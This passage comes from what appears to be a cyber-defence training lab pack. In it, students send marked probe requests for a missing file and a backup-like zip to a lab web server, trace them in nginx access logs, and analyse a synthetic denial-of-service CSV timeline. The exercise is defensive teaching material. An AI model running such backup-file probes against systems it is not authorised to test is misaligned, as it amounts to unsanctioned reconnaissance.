curl --max-time 5 -fsS http://172.29.242.30/index.html
sudo tail -n 5 /var/log/nginx/access.log

Confirm the two probe files do not exist; expect “No such file or directory” for both:

sudo ls -l /var/www/html/ccdc24-missing.txt /var/www/html/ccdc24-backup.zip

Step 2 — Attacker: generate a short request sequence

Run once: four sequential requests, separated by one second. The unique marker distinguishes the round from background traffic. Give the marker to the defender after it locates the pattern.

Create a marker for this round:

marker="ccdc24-$(date +%s)"

Display and record the marker:

printf 'Round marker: %s\n' "$marker"

Make request 1 to index.html:

curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/index.html?round=$marker"

Wait one second before the next request:

sleep 1

Make request 2 to ccdc24-missing.txt:

curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/ccdc24-missing.txt?round=$marker"

Wait one second before the next request:

sleep 1

Make request 3 to ccdc24-backup.zip:

curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/ccdc24-backup.zip?round=$marker"

Wait one second before the next request:

sleep 1

Make request 4 to index.html:

curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/index.html?round=$marker"

Step 3 — Defender: find and interpret the evidence

sudo tail -n 120 /var/log/nginx/access.log | grep 'ccdc24-'

Use the actual configured Nginx log path if it differs. Combined access logs include the request path and query. Preserve each timestamp’s timezone offset when comparing evidence.

  1. Locate the four requests and record time, source, method, path and status.
  2. Explain why the two index requests are ordinary checks and why the backup-like path warrants investigation. Expected status order: 200, 404, 404, 200. If different, investigate the actual site configuration.
  3. Explain why a missing-file request does not demonstrate compromise. A source address identifies a connection, not a person.
  4. Propose one response if a sensitive backup really were exposed: preserve evidence and remove the exposed copy while leaving normal content available.

Step 4 — Verify and close the round

Repeat one normal index request and confirm operational content. Retain the relevant log lines; do not clear the logs. No files, accounts or rules were changed. Reverse roles with a new marker. Complete: show the ordered requests, explain their significance and uncertainty, and demonstrate normal service.

Task 2.5 — Investigate denial of service and resource exhaustion

Analyze a simulated service-degradation incident using the supplied CSV timeline. Follow the steps below:

  1. Open the evidence inside your assigned VM
  2. Attacker — present the scenario
  3. Defender — analyze
  4. Recovery criteria and live service check

This is a concrete offline investigation using a supplied synthetic incident dataset. It does not generate a flood or change the live service. The attacker introduces the incident evidence; the defender diagnoses it, proposes containment, and validates the recovery evidence.

Step 1 — Open the evidence inside your assigned VM

Save the Linux incident CSV into Downloads inside the VM. If viewing this pack on a laptop, copy the CSV into the VM first. The commands below use that Downloads path; adjust it if needed. Each row is a one-minute measurement. requests and http_5xx are counts; p95_ms is the 95th-percentile response time in milliseconds; cpu_pct and memory_pct are percentages. The documentation-range source IP is fictional and must not be contacted.

Step 2 — Attacker: present the scenario

Tell the defender: “Users report slow pages and intermittent errors starting at 10:02 UTC. The service monitor still reports the web service running.” Provide the CSV. Do not stop the real service or send load traffic.

Step 3 — Defender: analyze

Display the incident timeline as a table:

column -s, -t "$HOME/Downloads/dos-linux-timeline.csv"

Read the seven measurement rows and match each value to its column heading. Use a calculator to compute these quantities from the rows you select:

The peak minute is the row with the largest request count. Record its time, source address and source request count. Compare the computed results with service state, latency and CPU before deciding what the evidence supports.

  1. Identify the normal baseline, first degraded minute and peak minute. Calculate how much request volume increased from the baseline.
  2. Use service state, CPU, latency and error rate to distinguish this incident from the stopped-service exercise. Explain why these metrics alone cannot establish malicious intent.
  3. Calculate the busiest source’s fraction of requests at the peak. Propose a narrowly scoped request limit or upstream filter, and explain how you would avoid blocking legitimate users behind a shared gateway. Record the proposed action; do not apply it to this lab.
  4. Treat the 10:05 and 10:06 rows as supplied post-containment evidence. Verify recovery against the criteria below and explain what monitoring you would continue.

Step 4 — Recovery criteria and live service check

Accept the scenario recovery only if both final samples have a running service, p95 latency below 200 ms, error rate below 1%, and CPU below 50%. Then independently check the real VM with the read-only commands below. The live check demonstrates lab availability, not that you mitigated the synthetic incident.

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx
curl --max-time 5 -fsS http://172.29.242.30/index.html

Complete: present your timeline, calculations, diagnosis, proposed containment, and evidence that recovery criteria pass. Preserve your notes; deleting your downloaded CSV after the debrief is optional. Reverse roles with the other team explaining and challenging the diagnosis.